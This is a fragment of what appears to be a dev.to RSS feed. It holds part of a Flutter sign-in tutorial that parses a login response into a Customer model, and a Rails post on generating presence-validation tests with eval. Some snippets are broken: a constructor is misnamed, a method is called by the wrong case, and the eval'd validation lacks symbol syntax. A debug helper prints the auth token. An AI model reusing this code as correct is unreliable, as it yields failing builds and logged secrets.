&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import 'dart:convert';

class Customer{
  int id;
  String email;
  String phone;
  String name;
  String token;

  User({this.id, this.email, this.phone, this.name, this.token});

  factory Customer.fromReqBody(String body) {
    Map&amp;lt;String, dynamic&amp;gt; json = jsonDecode(body);

    return Customer(
      id: json['id'],
      email: json['email'],
      name: json['name'],
      phone: json['phone'],
      token: json['token'],
    );

  }

  void printAttributes() {
    print("id: ${this.id}\n");
    print("email: ${this.email}\n");
    print("phone: ${this.phone}\n");
    print("name: ${this.name}\n");
    print("token: ${this.token}\n");
  }

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first thing we did was create class constructors to initialize new instances of our Customer objects. We use the factory constructor because there might be a time when we don’t need to create an entirely new instance of our class. Our factory method will receive a JSON object, from our API call request body, which we will decode into a Map of type(s) String &amp;amp; dynamic. From their it’s only a matter of setting our Customer attributes to their corresponding keys in the map. Lastly the printAttributes() helper method will print out all of the attributes and their values, this is very useful for debugging.&lt;br&gt;
In Our Widgets&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;../authentication/auth.dart

class Auth extends StatefulWidget {
  @override
  _AuthState createState() =&amp;gt; _AuthState();
}

class _AuthState extends State&amp;lt;Auth&amp;gt; {
  bool showSignUp = true;

  @override
  Widget build(BuildContext context) {
    return Scaffold(
        appBar: AppBar(
            title: Text(
              "Corey's Corner",
            ),
          elevation: 16.0,
          actions: [
            IconButton(
                icon: Icon(Icons.swap_horiz),
                onPressed: () {
                  setState(() {                    showSignUp = !showSignUp;
                  });
                })
          ],
        ),
        // ternary operator 
      body: Container(child: showSignUp ? SignUp() : SignIn()));
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this widget we are setting up a container to hold both our Signup() &amp;amp; SignIn() widgets. We use a boolean to toggle back and forth between the different pages, this prevents use from having to write push functions to get to different pages.&lt;br&gt;
../authentication/sign_in.dart&lt;/p&gt;

&lt;p&gt;For the sake of brevity I’m going to leave all form, text and button styling out of the picture and this tutorial will only cover the signIn page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class SignIn extends StatefulWidget {

  @override
  _SignInState createState() =&amp;gt; _SignInState();
}

class _SignInState extends State&amp;lt;SignIn&amp;gt; {
  AuthAPI _authAPI = AuthAPI();
  final _key =  GlobalKey&amp;lt;FormState&amp;gt;();
  String email;
  String password;
  @override
  Widget build(BuildContext context) {

    return  Container(
        padding: EdgeInsets.symmetric(vertical: 20.0, horizontal: 25.0),
        child: Form(
            key: _key,
            child: Column(
              mainAxisAlignment: MainAxisAlignment.start,
              children: &amp;lt;Widget&amp;gt;[
                SizedBox(height: 70),
                Text("Sign In", style: formTitleStyle(),),
                SizedBox(height: 30),
                Container(
                    width: 400,
                    child: TextFormField(
                      decoration: textInputDecoration("Email", context),
             onChanged: (val) =&amp;gt; setState(() =&amp;gt; email = val),
                    )
                ),
                SizedBox(height: 30),
                Container(
                  width: 400,
                  child: TextFormField(
                    obscureText: true,
                    decoration: textInputDecoration("Password", context),
                    onChanged: (val) =&amp;gt; setState(() =&amp;gt; password = val),
                  ),
                ),
                SizedBox(height: 25),
                GestureDetector(
                  child: Text("Forgot Password ?", style: TextStyle(
                      fontSize: 18.0,
                      decoration: TextDecoration.underline
                  ),),
                  onTap: (){
                  // todo 
                  },
                ),
                SizedBox(height: 25),
                Container(
                    width: 400,
                    child: customRaisedIconButton("Sign In !", Icons.send, context, () async {
                      if(_key.currentState.validate()){
                        try{
                          var req = await 
                       _authAPI.login(email,  password);
                          if(req.statusCode == 200){print(req.body);
var customer = 
                              Customer.fromReqBody(req.body);customer.printAttributes();
                        Navigator.push(context, MaterialPageRoute(
                         builder: (context) =&amp;gt; MyHomePage(customer:                 customer)));
                          } else {
                            pushError(context);
                          }
                        } on Exception catch (e){
                        print(e.toString());
                        pushError(context);
                        }
                      }
                    })
                )
              ],
            )
        )
    );
  }
void PushError(){
    Navigator.push(context, MaterialPageRoute(
        builder: (context) =&amp;gt; Error()
    ));
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first thing we do is create to Strings email &amp;amp; password within state. In side of our text forms we call setState to set the stateful fields to the values our customer types in. Before our API call we’ll use validators to ensure that our email and password aren’t bank so we don’t make any necessary API calls.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AuthAPI _authAPI = AuthAPI();
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this line of code we initialized an instance of our AuthAPI object and store it in a variable.&lt;/p&gt;

&lt;p&gt;Our API call is asynchronous because we have to wait for our data. We use the await statement to wait for our request. Asynchronous programming allows our code to execute non-linearly. We wrap our call in a try statement to catch any errors and we call our login function and pass it the objects stored in state with line of code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;var req = await _authAPI.login(email,  password);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once we receive our request we use its statusCode attribute to decide what to do next. If our code reads 200 we pass the request body attribute, which is of type JSON to the factory constructor of our Customer model. From there we print out our users new attributes, the request body and push to home. If we don’t receive the proper statusCode or we catch an exception we push to an error page.&lt;/p&gt;

&lt;p&gt;Thanks for reading! in the next post we’ll discuss how to use Cubits to store our customer in our app making it available to all of our widgets.&lt;/p&gt;

&lt;p&gt;Be sure to checkout Part II and III !&lt;/p&gt;

</description>
      <category>flutter</category>
      <category>dart</category>
      <category>mvc</category>
      <category>api</category>
    </item>
    <item>
      <title>Meta Programming Rails Test</title>
      <dc:creator>gardnerapp</dc:creator>
      <pubDate>Wed, 17 Nov 2021 19:55:52 +0000</pubDate>
      <link>https://dev.to/coreyscorner/meta-programming-rails-test-30cn</link>
      <guid>https://dev.to/coreyscorner/meta-programming-rails-test-30cn</guid>
      <description>&lt;p&gt;Over the lifecycle of application development people tend to procrastinate or blow off writing test. I’m sure that many new engineers, like my former self, feel that writing test is not important and that it can even be cumbersome to actually getting a product shipped. On top of all that testing is easy to forget about because it can be very boring and repetitive. Luckily in this series we’re going to challenge ourselves and make writing test fun by Meta Programming them.&lt;/p&gt;

&lt;p&gt;In a professional environment you need to have test in order to properly refactor your code and ensure that your application does break in the event that you need to update the language or framework that it runs on.&lt;/p&gt;

&lt;p&gt;Imagine if you have to upgrade your app to Rails 7 and Ruby 3.0. If you haven’t written any test than only way for you to ensure that your application is working properly is testing it by hand, tediously going through every page and searching through every link and input form. This would be awful, luckily we can write test which automates the entire process for us.&lt;/p&gt;

&lt;p&gt;The process of editing code is known as refactoring. Often we want to change the form of our code (what it looks like) without changing its function (what it does).&lt;/p&gt;

&lt;p&gt;There’s a lot of different ways to do the same thing, you might write some decent code and then come back with some fantastic code the next day and decide to change things up. Testing is perfect in this type of scenario because it ensures that our program achieves the desired output no matter what it looks like.&lt;/p&gt;

&lt;p&gt;Luckily with the Ruby language we can Meta Program our test ie. write code that writes test. This rapidly decreases the amount of time we need to spend on writing test and makes testing our applications a whole lot more interesting. On top of all that our test take up far fewer lines of code when we choose to utilize Meta Programming. Alright, lets get to the fun part !&lt;br&gt;
The Lame Way Of Testing Model Validations&lt;/p&gt;

&lt;p&gt;Lets assume we have a model called Restaurant which has a few attributes: name, address, phone number, category, and closing time. We want all of these attributes to be required for our model to be valid. Typically we’d do something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#... /models/restaurant.rb
class Restaurant &amp;lt; ApplicationRecordvalidates :name, presence: true
validates :address, presence: true
validates :phone_number, presence: true
validates :category, presence: true
validates :closing_time, presence: trueend # 5 lines of code 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our model test file would look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#... test/models/restaurant_test.rbclass RestaurantTest &amp;lt; ActiveSupport::TestCase
   def setup
      @restaurant = restaurants :first
   end    test 'Name should be present' do
      @restaurant.name = nil 
      assert_not @restaurant.valid?
   end   test 'Address should be present' do
      @restaurant.address = nil 
      assert_not @restaurant.valid?
   end   test 'Phone Number should be present' do
      @restaurant.phone_number = nil 
      assert_not @restaurant.valid?
   end   test 'Category should be present' do
      @restaurant.category = nil 
      assert_not @restaurant.valid?
   end   test 'Closing Time should be present' do
      @restaurant.closing_time = nil 
      assert_not @restaurant.valid?
   end
end # 4 lines of code per attribute test, 5 attributes 5*4 = 20 lines
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To write and test a simple presence validation we have to write 5 lines of code, 1 line for the validation and another 4 for testing it. Presence validations are one of the easiest things to write &amp;amp; test but they still require a lot of code, and they are very boring to write.&lt;/p&gt;

&lt;p&gt;If you had 5 models with 5 attributed each you’d have to write 125 lines of code 😤 🤕 😠. Who in their right mind wants to write or look through all that boring code and repetitive code? If your running a startup do you really want to be using your engineers time and attention on this?&lt;/p&gt;

&lt;p&gt;So how can we make our lives easier, use our time more wisely, write less code, make more money and make testing more interesting all in one swoop.&lt;/p&gt;

&lt;p&gt;TDD + Meta Programming: A Dynamic Duo&lt;/p&gt;

&lt;p&gt;We’ll take a Test Driven Development approach by writing failing test and refactoring our application code until our test are green. If you noticed before all of our test followed a similar pattern or formula (summarized below). Every test name is prefixed with the name of the attribute, the attribute is then set to nil on our instance variable and lastly we assert that our variable is not valid with it’s null attribute.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;test 'attribute is present' do
   @restaurant.attribute = nil 
   assert_not @restaurant.valid?
end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s start by creating a list of all the attributes that must be present. We’ll then use the each method to loop over each attribute, passing in a block which is where the actual testing happens. Naming the test is simple enough all we have to do is use string interpolation.&lt;/p&gt;

&lt;p&gt;So, how do we set the attribute(s) on our instance variable to nil ? Originally I thought of using the send method but that made zero sense. I was about to give up but then I realized that the Ruby Kernel method eval will evaluate a string as if it were a piece Ruby code, thus we’re able to treat data as code.&lt;/p&gt;

&lt;p&gt;My final test(s) looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#... test/models/restaurant_test.rb%i[name phone_number address category closing_time].each do |attr|
   test "#{attr} must be present" do 
      eval "@restaurant.#{attr} = nil"
      assert_not @restaurant.valid?
   end
end# 6 lines of code 70% reduction in code volume ;)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point our test should be red. Because model validations are so repetitive they are a clear candidate for being meta programming. Once again we’ll loop over a list of symbols, inside of the block we’ll use eval and the validates_presence_of helper to run the validations. The code is as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#... /models/restaurant.rb%i[name phone_number address category closing_time].each do |attr|
     eval "validates_presence_of #{attr}"
end # 3 lines of code 60% reduction in code volume
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conclusion&lt;/p&gt;

&lt;p&gt;Meta Programming is a practice where you write code that writes code, essentially we’re automating programming. Any time that we’re writing repetitive or pseudo similar code is a sign that we can use Meta Programming to keep things DRY.&lt;/p&gt;

&lt;p&gt;Meta Programming allows us to write more code at a faster rate with less lines of code. This makes our programs easier to read, write and debug. In a professional developer that can utilize Meta Programming properly will be able to get more done in less time. By Meta Programming my model validations and their test I was able to achieve a 60–70% reduction in code volume.&lt;/p&gt;

&lt;p&gt;To learn more about Meta Programming be sure to check out my Beginners Ruby Meta Programming Tutorial, the Advanced Meta Programming Tutorial and the Meta Programming a Ruby on Rails E-Commerce Application. And don’t forget to listen to Corey’s Corner, Thanks !&lt;/p&gt;

&lt;p&gt;Corey’s Corner Podcast: &lt;a href="https://anchor.fm/coreys-corner"&gt;https://anchor.fm/coreys-corner&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Gardner App Development: &lt;a href="https://gardnerappdev.com"&gt;https://gardnerappdev.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Get Yoked 🍳 &lt;a href="https://thoughtsandfitness.com"&gt;https://thoughtsandfitness.com&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ruby</category>
      <category>rails</category>
      <category>webdev</category>
      <category>testing</category>
    </item>
  </channel>
</rss>
